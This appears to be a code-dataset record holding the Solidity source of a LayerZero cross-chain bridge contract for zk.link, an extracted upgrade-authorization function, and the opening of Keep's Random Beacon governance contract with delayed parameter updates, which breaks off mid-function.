// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "./ILayerZeroReceiver.sol"; import "./ILayerZeroEndpoint.sol"; import "./LayerZeroStorage.sol"; import "../token/IZKL.sol"; /// @title LayerZero bridge implementation of non-blocking model /// @dev if message is blocking we should call `retryPayload` of endpoint to retry /// the reasons for message blocking may be: /// * `_dstAddress` is not deployed to dst chain, and we can deploy LayerZeroBridge to dst chain to fix it. /// * lzReceive cost more gas than `_gasLimit` that endpoint send, and user should call `retryMessage` to fix it. /// * lzReceive reverted unexpected, and we can fix bug and upgrade contract to fix it. /// ILayerZeroUserApplicationConfig does not need to be implemented for now /// @author zk.link contract LayerZeroBridge is ReentrancyGuardUpgradeable, UUPSUpgradeable, LayerZeroStorage, ILayerZeroReceiver { event SendZKL(uint16 dstChainId, uint64 nonce, address sender, bytes receiver, uint amount); event ReceiveZKL(uint16 srcChainId, uint64 nonce, address receiver, uint amount); event SendSynchronizationProgress(uint16 dstChainId, uint64 nonce, bytes32 syncHash, uint progress); event ReceiveSynchronizationProgress(uint16 srcChainId, uint64 nonce, bytes32 syncHash, uint progress); // to avoid stack too deep struct LzBridgeParams { uint16 dstChainId; // the destination chainId address payable refundAddress; // native fees(collected by oracle and relayer) refund address if msg.value is too large address zroPaymentAddress; // if not zero user will use ZRO token to pay layerzero protocol fees(not oracle or relayer fees) bytes adapterParams; // see https://layerzero.gitbook.io/docs/guides/advanced/relayer-adapter-parameters } modifier onlyGovernor { require(msg.sender == networkGovernor, "Caller is not governor"); _; } /// @dev Put `initializer` modifier here to prevent anyone call this function from proxy after we initialized /// No delegatecall exist in this contract, so it's ok to expose this function in logic /// @param _endpoint The LayerZero endpoint function initialize(address _governor, address _endpoint) public initializer { require(_governor != address(0), "Governor not set"); require(_endpoint != address(0), "Endpoint not set"); __ReentrancyGuard_init(); __UUPSUpgradeable_init(); networkGovernor = _governor; endpoint = _endpoint; } /// @dev Only owner can upgrade logic contract // solhint-disable-next-line no-empty-blocks function _authorizeUpgrade(address newImplementation) internal override onlyGovernor {} /// @notice Set bridge destination /// @param dstChainId LayerZero chain id on other chains /// @param contractAddr LayerZeroBridge contract address on other chains function setDestination(uint16 dstChainId, bytes calldata contractAddr) external onlyGovernor { require(dstChainId != ILayerZeroEndpoint(endpoint).getChainId(), "Invalid dstChainId"); destinations[dstChainId] = contractAddr; emit UpdateDestination(dstChainId, contractAddr); } /// @notice Set destination address length /// @param dstChainId LayerZero chain id on other chains /// @param addressLength Address length function setDestinationAddressLength(uint16 dstChainId, uint8 addressLength) external onlyGovernor { require(dstChainId != ILayerZeroEndpoint(endpoint).getChainId(), "Invalid dstChainId"); destAddressLength[dstChainId] = addressLength; emit UpdateDestinationAddressLength(dstChainId, addressLength); } /// @notice Set app contract address /// @param app The app type /// @param contractAddress The app contract address function setApp(APP app, address contractAddress) external onlyGovernor { apps[app] = contractAddress; emit UpdateAPP(app, contractAddress); } /// @notice Estimate bridge zkl fees /// @param lzChainId the destination chainId /// @param receiver the destination receiver address /// @param amount the token amount to bridge /// @param useZro if true user will use ZRO token to pay layerzero protocol fees(not oracle or relayer fees) /// @param adapterParams see https://layerzero.gitbook.io/docs/guides/advanced/relayer-adapter-parameters function estimateZKLBridgeFees(uint16 lzChainId, bytes calldata receiver, uint256 amount, bool useZro, bytes calldata adapterParams ) external view returns (uint nativeFee, uint zroFee) { bytes memory payload = buildZKLBridgePayload(receiver, amount); return ILayerZeroEndpoint(endpoint).estimateFees(lzChainId, address(this), payload, useZro, adapterParams); } /// @notice Estimate bridge ZkLink Block fees /// @param lzChainId the destination chainId /// @param syncHash the sync hash of stored block /// @param progress the sync progress /// @param useZro if true user will use ZRO token to pay layerzero protocol fees(not oracle or relayer fees) /// @param adapterParams see https://layerzero.gitbook.io/docs/guides/advanced/relayer-adapter-parameters function estimateZkLinkBlockBridgeFees( uint16 lzChainId, bytes32 syncHash, uint256 progress, bool useZro, bytes calldata adapterParams ) external view returns (uint nativeFee, uint zroFee) { bytes memory payload = buildZkLinkBlockBridgePayload(syncHash, progress); return ILayerZeroEndpoint(endpoint).estimateFees(lzChainId, address(this), payload, useZro, adapterParams); } /// @notice Bridge zkl to other chain /// @param from the account burned from /// @param receiver the destination receiver address /// @param amount the amount to bridge /// @param params lz params function bridgeZKL( address from, bytes calldata receiver, uint256 amount, LzBridgeParams calldata params ) external nonReentrant payable { uint16 _dstChainId = params.dstChainId; // ===Checks=== bytes memory trustedRemote = checkDstChainId(_dstChainId); uint8 destAddressLength = destAddressLength[_dstChainId]; if (destAddressLength == 0) { destAddressLength = EVM_ADDRESS_LENGTH; } require(receiver.length == destAddressLength, "Invalid receiver"); require(amount > 0, "Amount not set"); address zkl = apps[APP.ZKL]; require(zkl != address(0), "ZKL not support"); // endpoint will check `refundAddress`, `zroPaymentAddress` and `adapterParams` // ===Interactions=== // send LayerZero message { bytes memory payload = buildZKLBridgePayload(receiver, amount); // solhint-disable-next-line check-send-result ILayerZeroEndpoint(endpoint).send{value:msg.value}(_dstChainId, trustedRemote, payload, params.refundAddress, params.zroPaymentAddress, params.adapterParams); } // burn token of `from`, it will be reverted if `amount` is over the balance of `from` uint64 nonce = ILayerZeroEndpoint(endpoint).getOutboundNonce(_dstChainId, address(this)); IZKL(zkl).bridgeTo(msg.sender, from, amount); emit SendZKL(_dstChainId, nonce, from, receiver, amount); } /// @notice Bridge ZkLink block to other chain /// @param storedBlockInfo the block proved but not executed at the current chain /// @param params lz params function bridgeZkLinkBlock( IZkLink.StoredBlockInfo calldata storedBlockInfo, LzBridgeParams calldata params ) external nonReentrant payable { uint16 _dstChainId = params.dstChainId; // ===Checks=== bytes memory trustedRemote = checkDstChainId(_dstChainId); address zklink = apps[APP.ZKLINK]; require(zklink != address(0), "ZKLINK not support"); // endpoint will check `refundAddress`, `zroPaymentAddress` and `adapterParams` // ===Interactions=== // send LayerZero message uint256 progress = IZkLink(zklink).getSynchronizedProgress(storedBlockInfo); bytes memory payload = buildZkLinkBlockBridgePayload(storedBlockInfo.syncHash, progress); uint64 nonce = ILayerZeroEndpoint(endpoint).getOutboundNonce(_dstChainId, address(this)); // solhint-disable-next-line check-send-result ILayerZeroEndpoint(endpoint).send{value:msg.value}(_dstChainId, trustedRemote, payload, params.refundAddress, params.zroPaymentAddress, params.adapterParams); emit SendSynchronizationProgress(_dstChainId, nonce, storedBlockInfo.syncHash, progress); } /// @notice Receive the bytes payload from the source chain via LayerZero /// @dev lzReceive can only be called by endpoint function lzReceive(uint16 srcChainId, bytes calldata srcAddress, uint64 nonce, bytes calldata payload) external override onlyEndpoint nonReentrant { // reject invalid src contract address bytes memory trustedRemote = destinations[srcChainId]; require(srcAddress.length == trustedRemote.length && keccak256(trustedRemote) == keccak256(srcAddress), "Invalid src"); // try-catch all errors/exceptions // solhint-disable-next-line no-empty-blocks try this.nonblockingLzReceive(srcChainId, srcAddress, nonce, payload) { // do nothing } catch { // error / exception failedMessages[srcChainId][srcAddress][nonce] = keccak256(payload); emit MessageFailed(srcChainId, srcAddress, nonce, payload); } } function nonblockingLzReceive(uint16 srcChainId, bytes calldata srcAddress, uint64 nonce, bytes calldata payload) public { // only internal transaction require(msg.sender == address(this), "Caller must be this bridge"); _nonblockingLzReceive(srcChainId, srcAddress, nonce, payload); } /// @notice Retry the failed message, payload hash must be exist function retryMessage(uint16 srcChainId, bytes calldata srcAddress, uint64 nonce, bytes calldata payload) external payable virtual { // assert there is message to retry bytes32 payloadHash = failedMessages[srcChainId][srcAddress][nonce]; require(payloadHash != bytes32(0), "No stored message"); require(keccak256(payload) == payloadHash, "Invalid payload"); // clear the stored message failedMessages[srcChainId][srcAddress][nonce] = bytes32(0); // execute the message. revert if it fails again _nonblockingLzReceive(srcChainId, srcAddress, nonce, payload); } function _nonblockingLzReceive(uint16 srcChainId, bytes calldata /**srcAddress**/, uint64 nonce, bytes calldata payload) internal { // unpack payload APP app = APP(uint8(payload[0])); if (app == APP.ZKL) { address zkl = apps[APP.ZKL]; (bytes memory receiverBytes, uint256 amount) = abi.decode(payload[1:], (bytes, uint256)); address receiver; assembly { receiver := mload(add(receiverBytes, EVM_ADDRESS_LENGTH)) } // mint token to receiver IZKL(zkl).bridgeFrom(receiver, amount); emit ReceiveZKL(srcChainId, nonce, receiver, amount); } else if (app == APP.ZKLINK) { address zklink = apps[APP.ZKLINK]; (bytes32 syncHash, uint256 progress) = abi.decode(payload[1:], (bytes32, uint256)); IZkLink(zklink).receiveSynchronizationProgress(syncHash, progress); emit ReceiveSynchronizationProgress(srcChainId, nonce, syncHash, progress); } else { revert("APP not support"); } } function checkDstChainId(uint16 dstChainId) internal view returns (bytes memory trustedRemote) { require(dstChainId != ILayerZeroEndpoint(endpoint).getChainId(), "Invalid dstChainId"); trustedRemote = destinations[dstChainId]; require(trustedRemote.length > 0, "Trust remote not exist"); } function buildZKLBridgePayload(bytes memory receiver, uint256 amount) internal pure returns (bytes memory payload) { payload = abi.encodePacked(APP.ZKL, abi.encode(receiver, amount)); } function buildZkLinkBlockBridgePayload(bytes32 syncHash, uint256 progress) internal pure returns (bytes memory payload) { payload = abi.encodePacked(APP.ZKLINK, abi.encode(syncHash, progress)); } } interface IZkLink { // stored block info of ZkLink struct StoredBlockInfo { uint32 blockNumber; uint64 priorityOperations; bytes32 pendingOnchainOperationsHash; uint256 timestamp; bytes32 stateHash; bytes32 commitment; bytes32 syncHash; } function getSynchronizedProgress(StoredBlockInfo memory block) external view returns (uint256 progress); function receiveSynchronizationProgress(bytes32 syncHash, uint256 progress) external; }
Only owner can upgrade logic contract solhint-disable-next-line no-empty-blocks
function _authorizeUpgrade(address newImplementation) internal override onlyGovernor {}
12,573,802
// SPDX-License-Identifier: MIT // // ▓▓▌ ▓▓ ▐▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄ // ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓ ▐▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓ // ▓▓▓▓▓▓▄▄▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▄▄▄▄ ▓▓▓▓▓▓▄▄▄▄ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▀▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓▀▀▀▀ ▓▓▓▓▓▓▀▀▀▀ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀ // ▓▓▓▓▓▓ ▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ // ▓▓▓▓▓▓▓▓▓▓ █▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ // // pragma solidity ^0.8.9; import "./RandomBeacon.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /// @title Keep Random Beacon Governance /// @notice Owns the `RandomBeacon` contract and is responsible for updating its /// governable parameters in respect to governance delay individual /// for each parameter. contract RandomBeaconGovernance is Ownable { uint256 public newRelayRequestFee; uint256 public relayRequestFeeChangeInitiated; uint256 public newRelayEntrySubmissionEligibilityDelay; uint256 public relayEntrySubmissionEligibilityDelayChangeInitiated; uint256 public newRelayEntryHardTimeout; uint256 public relayEntryHardTimeoutChangeInitiated; uint256 public newCallbackGasLimit; uint256 public callbackGasLimitChangeInitiated; uint256 public newGroupCreationFrequency; uint256 public groupCreationFrequencyChangeInitiated; uint256 public newGroupLifetime; uint256 public groupLifetimeChangeInitiated; uint256 public newDkgResultChallengePeriodLength; uint256 public dkgResultChallengePeriodLengthChangeInitiated; uint256 public newDkgResultSubmissionEligibilityDelay; uint256 public dkgResultSubmissionEligibilityDelayChangeInitiated; uint256 public newDkgResultSubmissionReward; uint256 public dkgResultSubmissionRewardChangeInitiated; uint256 public newSortitionPoolUnlockingReward; uint256 public sortitionPoolUnlockingRewardChangeInitiated; uint256 public newIneligibleOperatorNotifierReward; uint256 public ineligibleOperatorNotifierRewardChangeInitiated; uint256 public newRelayEntrySubmissionFailureSlashingAmount; uint256 public relayEntrySubmissionFailureSlashingAmountChangeInitiated; uint256 public newMaliciousDkgResultSlashingAmount; uint256 public maliciousDkgResultSlashingAmountChangeInitiated; uint256 public newUnauthorizedSigningSlashingAmount; uint256 public unauthorizedSigningSlashingAmountChangeInitiated; uint256 public newSortitionPoolRewardsBanDuration; uint256 public sortitionPoolRewardsBanDurationChangeInitiated; uint256 public newRelayEntryTimeoutNotificationRewardMultiplier; uint256 public relayEntryTimeoutNotificationRewardMultiplierChangeInitiated; uint256 public newUnauthorizedSigningNotificationRewardMultiplier; uint256 public unauthorizedSigningNotificationRewardMultiplierChangeInitiated; uint96 public newMinimumAuthorization; uint256 public minimumAuthorizationChangeInitiated; uint64 public newAuthorizationDecreaseDelay; uint256 public authorizationDecreaseDelayChangeInitiated; uint256 public newDkgMaliciousResultNotificationRewardMultiplier; uint256 public dkgMaliciousResultNotificationRewardMultiplierChangeInitiated; RandomBeacon public randomBeacon; // Long governance delay used for critical parameters giving a chance for // stakers to opt out before the change is finalized in case they do not // agree with that change. The maximum group lifetime must not be longer // than this delay. // // The full list of parameters protected by this delay: // - relay entry hard timeout // - callback gas limit // - group lifetime // - relay entry submission failure slashing amount // - minimum authorization // - authorization decrease delay uint256 internal constant CRITICAL_PARAMETER_GOVERNANCE_DELAY = 2 weeks; // Short governance delay for non-critical parameters. Honest stakers should // not be severely affected by any change of these parameters. // // The full list of parameters protected by this delay: // - relay request fee // - group creation frequency // - relay entry submission eligibility delay // - DKG result challenge period length // - DKG result submission eligibility delay // - DKG result submission reward // - sortition pool rewards ban duration // - malicious DKG result slashing amount // - sortition pool unlocking reward // - ineligible operator notifier reward // - relay entry timeout notification reward multiplier // - DKG malicious result notification reward multiplier uint256 internal constant STANDARD_PARAMETER_GOVERNANCE_DELAY = 12 hours; event RelayRequestFeeUpdateStarted( uint256 relayRequestFee, uint256 timestamp ); event RelayRequestFeeUpdated(uint256 relayRequestFee); event RelayEntrySubmissionEligibilityDelayUpdateStarted( uint256 relayEntrySubmissionEligibilityDelay, uint256 timestamp ); event RelayEntrySubmissionEligibilityDelayUpdated( uint256 relayEntrySubmissionEligibilityDelay ); event RelayEntryHardTimeoutUpdateStarted( uint256 relayEntryHardTimeout, uint256 timestamp ); event RelayEntryHardTimeoutUpdated(uint256 relayEntryHardTimeout); event CallbackGasLimitUpdateStarted( uint256 callbackGasLimit, uint256 timestamp ); event CallbackGasLimitUpdated(uint256 callbackGasLimit); event GroupCreationFrequencyUpdateStarted( uint256 groupCreationFrequency, uint256 timestamp ); event GroupCreationFrequencyUpdated(uint256 groupCreationFrequency); event GroupLifetimeUpdateStarted(uint256 groupLifetime, uint256 timestamp); event GroupLifetimeUpdated(uint256 groupLifetime); event DkgResultChallengePeriodLengthUpdateStarted( uint256 dkgResultChallengePeriodLength, uint256 timestamp ); event DkgResultChallengePeriodLengthUpdated( uint256 dkgResultChallengePeriodLength ); event DkgResultSubmissionEligibilityDelayUpdateStarted( uint256 dkgResultSubmissionEligibilityDelay, uint256 timestamp ); event DkgResultSubmissionEligibilityDelayUpdated( uint256 dkgResultSubmissionEligibilityDelay ); event DkgResultSubmissionRewardUpdateStarted( uint256 dkgResultSubmissionReward, uint256 timestamp ); event DkgResultSubmissionRewardUpdated(uint256 dkgResultSubmissionReward); event SortitionPoolUnlockingRewardUpdateStarted( uint256 sortitionPoolUnlockingReward, uint256 timestamp ); event SortitionPoolUnlockingRewardUpdated( uint256 sortitionPoolUnlockingReward ); event IneligibleOperatorNotifierRewardUpdateStarted( uint256 ineligibleOperatorNotifierReward, uint256 timestamp ); event IneligibleOperatorNotifierRewardUpdated( uint256 ineligibleOperatorNotifierReward ); event RelayEntrySubmissionFailureSlashingAmountUpdateStarted( uint256 relayEntrySubmissionFailureSlashingAmount, uint256 timestamp ); event RelayEntrySubmissionFailureSlashingAmountUpdated( uint256 relayEntrySubmissionFailureSlashingAmount ); event MaliciousDkgResultSlashingAmountUpdateStarted( uint256 maliciousDkgResultSlashingAmount, uint256 timestamp ); event MaliciousDkgResultSlashingAmountUpdated( uint256 maliciousDkgResultSlashingAmount ); event UnauthorizedSigningSlashingAmountUpdateStarted( uint256 unauthorizedSigningSlashingAmount, uint256 timestamp ); event UnauthorizedSigningSlashingAmountUpdated( uint256 unauthorizedSigningSlashingAmount ); event SortitionPoolRewardsBanDurationUpdateStarted( uint256 sortitionPoolRewardsBanDuration, uint256 timestamp ); event SortitionPoolRewardsBanDurationUpdated( uint256 sortitionPoolRewardsBanDuration ); event RelayEntryTimeoutNotificationRewardMultiplierUpdateStarted( uint256 relayEntryTimeoutNotificationRewardMultiplier, uint256 timestamp ); event RelayEntryTimeoutNotificationRewardMultiplierUpdated( uint256 relayEntryTimeoutNotificationRewardMultiplier ); event UnauthorizedSigningNotificationRewardMultiplierUpdateStarted( uint256 unauthorizedSigningTimeoutNotificationRewardMultiplier, uint256 timestamp ); event UnauthorizedSigningNotificationRewardMultiplierUpdated( uint256 unauthorizedSigningTimeoutNotificationRewardMultiplier ); event MinimumAuthorizationUpdateStarted( uint96 minimumAuthorization, uint256 timestamp ); event MinimumAuthorizationUpdated(uint96 minimumAuthorization); event AuthorizationDecreaseDelayUpdateStarted( uint64 authorizationDecreaseDelay, uint256 timestamp ); event AuthorizationDecreaseDelayUpdated(uint64 authorizationDecreaseDelay); event DkgMaliciousResultNotificationRewardMultiplierUpdateStarted( uint256 dkgMaliciousResultNotificationRewardMultiplier, uint256 timestamp ); event DkgMaliciousResultNotificationRewardMultiplierUpdated( uint256 dkgMaliciousResultNotificationRewardMultiplier ); /// @notice Reverts if called before the governance delay elapses. /// @param changeInitiatedTimestamp Timestamp indicating the beginning /// of the change. modifier onlyAfterGovernanceDelay( uint256 changeInitiatedTimestamp, uint256 delay ) { /* solhint-disable not-rely-on-time */ require(changeInitiatedTimestamp > 0, "Change not initiated"); require( block.timestamp - changeInitiatedTimestamp >= delay, "Governance delay has not elapsed" ); _; /* solhint-enable not-rely-on-time */ } constructor(RandomBeacon _randomBeacon) { randomBeacon = _randomBeacon; } /// @notice Begins the relay request fee update process. /// @dev Can be called only by the contract owner. /// @param _newRelayRequestFee New relay request fee function beginRelayRequestFeeUpdate(uint256 _newRelayRequestFee) external onlyOwner { /* solhint-disable not-rely-on-time */ newRelayRequestFee = _newRelayRequestFee; relayRequestFeeChangeInitiated = block.timestamp; emit RelayRequestFeeUpdateStarted(_newRelayRequestFee, block.timestamp); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the relay request fee update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeRelayRequestFeeUpdate() external onlyOwner onlyAfterGovernanceDelay( relayRequestFeeChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ) { emit RelayRequestFeeUpdated(newRelayRequestFee); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateRelayEntryParameters( newRelayRequestFee, randomBeacon.relayEntrySubmissionEligibilityDelay(), randomBeacon.relayEntryHardTimeout(), randomBeacon.callbackGasLimit() ); relayRequestFeeChangeInitiated = 0; newRelayRequestFee = 0; } /// @notice Begins the relay entry submission eligibility delay update /// process. /// @dev Can be called only by the contract owner. /// @param _newRelayEntrySubmissionEligibilityDelay New relay entry /// submission eligibility delay in blocks function beginRelayEntrySubmissionEligibilityDelayUpdate( uint256 _newRelayEntrySubmissionEligibilityDelay ) external onlyOwner { /* solhint-disable not-rely-on-time */ require( _newRelayEntrySubmissionEligibilityDelay > 0, "Relay entry submission eligibility delay must be > 0" ); newRelayEntrySubmissionEligibilityDelay = _newRelayEntrySubmissionEligibilityDelay; relayEntrySubmissionEligibilityDelayChangeInitiated = block.timestamp; emit RelayEntrySubmissionEligibilityDelayUpdateStarted( _newRelayEntrySubmissionEligibilityDelay, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the relay entry submission eligibility delay update //// process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeRelayEntrySubmissionEligibilityDelayUpdate() external onlyOwner onlyAfterGovernanceDelay( relayEntrySubmissionEligibilityDelayChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ) { emit RelayEntrySubmissionEligibilityDelayUpdated( newRelayEntrySubmissionEligibilityDelay ); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateRelayEntryParameters( randomBeacon.relayRequestFee(), newRelayEntrySubmissionEligibilityDelay, randomBeacon.relayEntryHardTimeout(), randomBeacon.callbackGasLimit() ); relayEntrySubmissionEligibilityDelayChangeInitiated = 0; newRelayEntrySubmissionEligibilityDelay = 0; } /// @notice Begins the relay entry hard timeout update process. /// @dev Can be called only by the contract owner. /// @param _newRelayEntryHardTimeout New relay entry hard timeout in blocks function beginRelayEntryHardTimeoutUpdate(uint256 _newRelayEntryHardTimeout) external onlyOwner { /* solhint-disable not-rely-on-time */ newRelayEntryHardTimeout = _newRelayEntryHardTimeout; relayEntryHardTimeoutChangeInitiated = block.timestamp; emit RelayEntryHardTimeoutUpdateStarted( _newRelayEntryHardTimeout, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the relay entry hard timeout update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeRelayEntryHardTimeoutUpdate() external onlyOwner onlyAfterGovernanceDelay( relayEntryHardTimeoutChangeInitiated, CRITICAL_PARAMETER_GOVERNANCE_DELAY ) { emit RelayEntryHardTimeoutUpdated(newRelayEntryHardTimeout); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateRelayEntryParameters( randomBeacon.relayRequestFee(), randomBeacon.relayEntrySubmissionEligibilityDelay(), newRelayEntryHardTimeout, randomBeacon.callbackGasLimit() ); relayEntryHardTimeoutChangeInitiated = 0; newRelayEntryHardTimeout = 0; } /// @notice Begins the callback gas limit update process. /// @dev Can be called only by the contract owner. /// @param _newCallbackGasLimit New callback gas limit function beginCallbackGasLimitUpdate(uint256 _newCallbackGasLimit) external onlyOwner { /* solhint-disable not-rely-on-time */ // slither-disable-next-line too-many-digits require( _newCallbackGasLimit > 0 && _newCallbackGasLimit <= 1e6, "Callback gas limit must be > 0 and <= 1000000" ); newCallbackGasLimit = _newCallbackGasLimit; callbackGasLimitChangeInitiated = block.timestamp; emit CallbackGasLimitUpdateStarted( _newCallbackGasLimit, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the callback gas limit update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeCallbackGasLimitUpdate() external onlyOwner onlyAfterGovernanceDelay( callbackGasLimitChangeInitiated, CRITICAL_PARAMETER_GOVERNANCE_DELAY ) { emit CallbackGasLimitUpdated(newCallbackGasLimit); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateRelayEntryParameters( randomBeacon.relayRequestFee(), randomBeacon.relayEntrySubmissionEligibilityDelay(), randomBeacon.relayEntryHardTimeout(), newCallbackGasLimit ); callbackGasLimitChangeInitiated = 0; newCallbackGasLimit = 0; } /// @notice Begins the group creation frequency update process. /// @dev Can be called only by the contract owner. /// @param _newGroupCreationFrequency New group creation frequency function beginGroupCreationFrequencyUpdate( uint256 _newGroupCreationFrequency ) external onlyOwner { /* solhint-disable not-rely-on-time */ require( _newGroupCreationFrequency > 0, "Group creation frequency must be > 0" ); newGroupCreationFrequency = _newGroupCreationFrequency; groupCreationFrequencyChangeInitiated = block.timestamp; emit GroupCreationFrequencyUpdateStarted( _newGroupCreationFrequency, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the group creation frequency update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeGroupCreationFrequencyUpdate() external onlyOwner onlyAfterGovernanceDelay( groupCreationFrequencyChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ) { emit GroupCreationFrequencyUpdated(newGroupCreationFrequency); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateGroupCreationParameters( newGroupCreationFrequency, randomBeacon.groupLifetime() ); groupCreationFrequencyChangeInitiated = 0; newGroupCreationFrequency = 0; } /// @notice Begins the group lifetime update process. /// @dev Can be called only by the contract owner. /// @param _newGroupLifetime New group lifetime in blocks function beginGroupLifetimeUpdate(uint256 _newGroupLifetime) external onlyOwner { /* solhint-disable not-rely-on-time */ require( _newGroupLifetime >= 1 days && _newGroupLifetime <= 2 weeks, "Group lifetime must be >= 1 day and <= 2 weeks" ); newGroupLifetime = _newGroupLifetime; groupLifetimeChangeInitiated = block.timestamp; emit GroupLifetimeUpdateStarted(_newGroupLifetime, block.timestamp); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the group creation frequency update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeGroupLifetimeUpdate() external onlyOwner onlyAfterGovernanceDelay( groupLifetimeChangeInitiated, CRITICAL_PARAMETER_GOVERNANCE_DELAY ) { emit GroupLifetimeUpdated(newGroupLifetime); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateGroupCreationParameters( randomBeacon.groupCreationFrequency(), newGroupLifetime ); groupLifetimeChangeInitiated = 0; newGroupLifetime = 0; } /// @notice Begins the DKG result challenge period length update process. /// @dev Can be called only by the contract owner. /// @param _newDkgResultChallengePeriodLength New DKG result challenge /// period length in blocks function beginDkgResultChallengePeriodLengthUpdate( uint256 _newDkgResultChallengePeriodLength ) external onlyOwner { /* solhint-disable not-rely-on-time */ require( _newDkgResultChallengePeriodLength >= 10, "DKG result challenge period length must be >= 10" ); newDkgResultChallengePeriodLength = _newDkgResultChallengePeriodLength; dkgResultChallengePeriodLengthChangeInitiated = block.timestamp; emit DkgResultChallengePeriodLengthUpdateStarted( _newDkgResultChallengePeriodLength, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the DKG result challenge period length update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeDkgResultChallengePeriodLengthUpdate() external onlyOwner onlyAfterGovernanceDelay( dkgResultChallengePeriodLengthChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ) { emit DkgResultChallengePeriodLengthUpdated( newDkgResultChallengePeriodLength ); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateDkgParameters( newDkgResultChallengePeriodLength, randomBeacon.dkgResultSubmissionEligibilityDelay() ); dkgResultChallengePeriodLengthChangeInitiated = 0; newDkgResultChallengePeriodLength = 0; } /// @notice Begins the DKG result submission eligibility delay update /// process. /// @dev Can be called only by the contract owner. /// @param _newDkgResultSubmissionEligibilityDelay New DKG result submission /// eligibility delay in blocks function beginDkgResultSubmissionEligibilityDelayUpdate( uint256 _newDkgResultSubmissionEligibilityDelay ) external onlyOwner { /* solhint-disable not-rely-on-time */ require( _newDkgResultSubmissionEligibilityDelay > 0, "DKG result submission eligibility delay must be > 0" ); newDkgResultSubmissionEligibilityDelay = _newDkgResultSubmissionEligibilityDelay; dkgResultSubmissionEligibilityDelayChangeInitiated = block.timestamp; emit DkgResultSubmissionEligibilityDelayUpdateStarted( _newDkgResultSubmissionEligibilityDelay, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the DKG result submission eligibility delay update /// process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeDkgResultSubmissionEligibilityDelayUpdate() external onlyOwner onlyAfterGovernanceDelay( dkgResultSubmissionEligibilityDelayChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ) { emit DkgResultSubmissionEligibilityDelayUpdated( newDkgResultSubmissionEligibilityDelay ); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateDkgParameters( randomBeacon.dkgResultChallengePeriodLength(), newDkgResultSubmissionEligibilityDelay ); dkgResultSubmissionEligibilityDelayChangeInitiated = 0; newDkgResultSubmissionEligibilityDelay = 0; } /// @notice Begins the DKG result submission reward update process. /// @dev Can be called only by the contract owner. /// @param _newDkgResultSubmissionReward New DKG result submission reward function beginDkgResultSubmissionRewardUpdate( uint256 _newDkgResultSubmissionReward ) external onlyOwner { /* solhint-disable not-rely-on-time */ newDkgResultSubmissionReward = _newDkgResultSubmissionReward; dkgResultSubmissionRewardChangeInitiated = block.timestamp; emit DkgResultSubmissionRewardUpdateStarted( _newDkgResultSubmissionReward, 